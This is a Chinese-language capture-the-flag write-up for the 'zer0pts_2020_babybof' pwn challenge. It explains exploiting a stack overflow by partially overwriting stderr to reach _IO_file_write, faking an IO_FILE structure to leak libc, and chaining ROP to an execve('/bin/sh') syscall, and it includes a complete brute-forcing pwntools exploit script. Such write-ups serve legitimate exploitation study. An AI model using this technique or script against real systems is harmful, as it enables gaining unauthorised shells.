笔记 & WP

zer0pts_2020_babybof

Word count: 1.2kReading time: 5 min
2024/02/26

代码分析

main函数

main函数下就只有一个read函数,且是一个很明显的栈溢出漏洞,但是程序没有其他能够可以泄露出来的函数例如:printfputs,在遇到这种情况,很有可能是要利用read函数的偏移去得到syscallgadget,所以我们现在检查一下程序的保护机制

保护机制

很明显我们上面想的操作并不能实现,因为RELRO保护是Full RELRO,我们不能修改got表,所以并不能修改read的libc地址,所以下面我们最好是看看有没有可以利用的gadget

搜索gadget

这里发现了在0x000000000040043egadgetcall qword ptr [rbp + 0x48]

思路

可以控制rbp地址为存放我们要执行的地址-0x48的位置就可以指向该地址的指令,所以网上看到的大多数解法都是修改stderr等在bss段上的libc地址,通过爆破1/4096次概率getshell,但是做这题时,我想到pwnable.tw上的一道题**De-ASLR**,通过这题了解到了我们可以利用stderrIO_File地址实现泄露libc地址,这是学习文章

所以我随之想到了可以利用这个方法实现,在文章中它使用条件是

  • 利用gets函数在bss上留下_IO_2_1_stdin地址
  • 利用_libc_csu_init的上的gadget精确定位地址我们要的__IO_file_write函数
  • bss上伪造fileno==1flag2==2满足__IO_file_write函数泄露地址要求

我们在上面有只有一个不满足即是这个程序编译时没有_libc_csu_init所以我们无法精确定位对应的位置,所以我们这里大概率还是需要去猜地址

所以我们现在需要看看_IO_2_1_stder等地址与__IO_file_write函数距离是多少,如果只是后2字节不一样,那么我们只用爆破1/16次的概率

gdb找偏移

可以很明显看到,这个偏移不会超过两个字节,所以我们现在爆破概率就变成了1/16的概率

所以我们现在就只需要修改stderr的值为存放__IO_file_write函数的地址值,通过leave_ret栈迁移到这个位置上(当然也可以pop rbp),使得rbp等于存放__IO_file_write函数的地址值

然后再bss上伪造fake_IO_FILE,实际上就是满足fileno==1flag2==2其他都可以不用管,然后在我们设置好__IO_file_write函数调用的参数:

  • fake_IO_FILE
  • 泄露地址
  • 泄露大小

然后我们就可以泄露出来libc地址了,再通过我们栈布局提前布置ROP在构造一个read,就可以继续写入ROP chain,然后getshell

坑点

我们call qword ptr [rbp + 0x48]gadget实际上是在setup函数偏移构成,所以我们还需要绕过这段函数:

1
2
3
4
5
6
7
8
9
10
11
mov     rax, offset stdin@@GLIBC_2_2_5
mov rdi, [rax] ; stream
call _setbuf
mov rax, offset stdout@@GLIBC_2_2_5
mov rdi, [rax] ; stream
call _setbuf
mov rax, offset stderr@@GLIBC_2_2_5
mov rdi, [rax] ; stream
call _setbuf
pop rbp
retn

因为此时此刻stderr已经被我们修改为存放__IO_file_write函数的地址值,这段肯定是通过不了,因为要一个IO_FILE结构指针,所以我们可以在call __IO_file_write前把stderr的值恢复回去(因为如果我们预测对了__IO_file_write的值,那么stderr的地址肯定也是那个值),然后再执行就可以绕过去了

并且我们不能直接用system("/bin/sh"),这里最好是用execve("/bin/sh",0,0)系统调用来getshell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
libc = ELF("./libc-2.23.so")

def get_p(name):
global p,elf
p = process(name,env={"LD_PRELOAD":"./libc-2.23.so"})
# p = remote("node5.buuoj.cn",29908)
elf = ELF(name)

# 0x7fadff416758 _IO_file_write
# 0x7fadff418540 stderr
pop_rdi = 0x000000000040049c
pop_rsi = 0x000000000040049e
pop_rbp = 0x000000000040047c
leave_ret = 0x0000000000400499
stderr = 0x0601040
call = 0x000000000040043e # call qword ptr [rbp + 0x48]
ret = 0x000000000040047d
def pwn():

get_p("./zer0pts_2020_babybof")

# ---------- 修改stderr为存放_IO_file_write函数的地址值 并且在栈上布置ROP chain
payload = b"A"*0x20 + p64(stderr) + p64(pop_rsi) + p64(stderr) + p64(elf.plt['read'])
payload += p64(pop_rsi) + p64(stderr + 0x200) + p64(elf.plt['read'])
payload += p64(pop_rsi) + p64(stderr+8) + p64(elf.plt['read'])
payload += p64(pop_rsi) + p64(stderr) + p64(leave_ret)
#gdb.attach(p)
#sleep(2)
p.send(payload)
sleep(0.2)
p.send(p16(0x6758-0x48))
sleep(0.2)
# ---------- 在bss上伪造fake_IO_FILE
p.send(p64(1)+p64(2))
sleep(0.2)
# ---------- 在bss上步骤ROP chain 并且栈迁移
p.send(p64(ret)*0x20 + p64(elf.plt['read']) + p64(pop_rsi) + p64(elf.got['read']) + p64(pop_rdi) + p64(stderr + 0x200 - (0x8*14)) + p64(call)+ p64(0)+ p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0x6011a0)+p64(elf.plt['read']))

sleep(0.2)
# 还原 stderr的值 泄露libc地址
p.send(p16(0x8540))
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00")) - libc.sym['read']
if libc.address == 0 :
exit(0)


while True:
try :
libc.address = 0
pwn()
# gdb.attach(p)
# sleep(2)
system = libc.sym['system']
binsh = next(libc.search(b"/bin/sh"))
pop_rax = 0x0000000000033544 + libc.address
pop_rdx = 0x0000000000001b92 + libc.address
syscall = 0x00000000000026bf + libc.address
payload = b"/bin/sh\x00" + p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(0x6011a0) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(syscall)
p.send(payload)
p.interactive()
except:
p.close()
CATALOG
  1. 1. 代码分析
    1. 1.0.1. main函数
  2. 1.1. 保护机制
  3. 1.2. 搜索gadget
  • 2. 思路
    1. 2.0.1. gdb找偏移
  • 2.1. 坑点
  • 3. EXP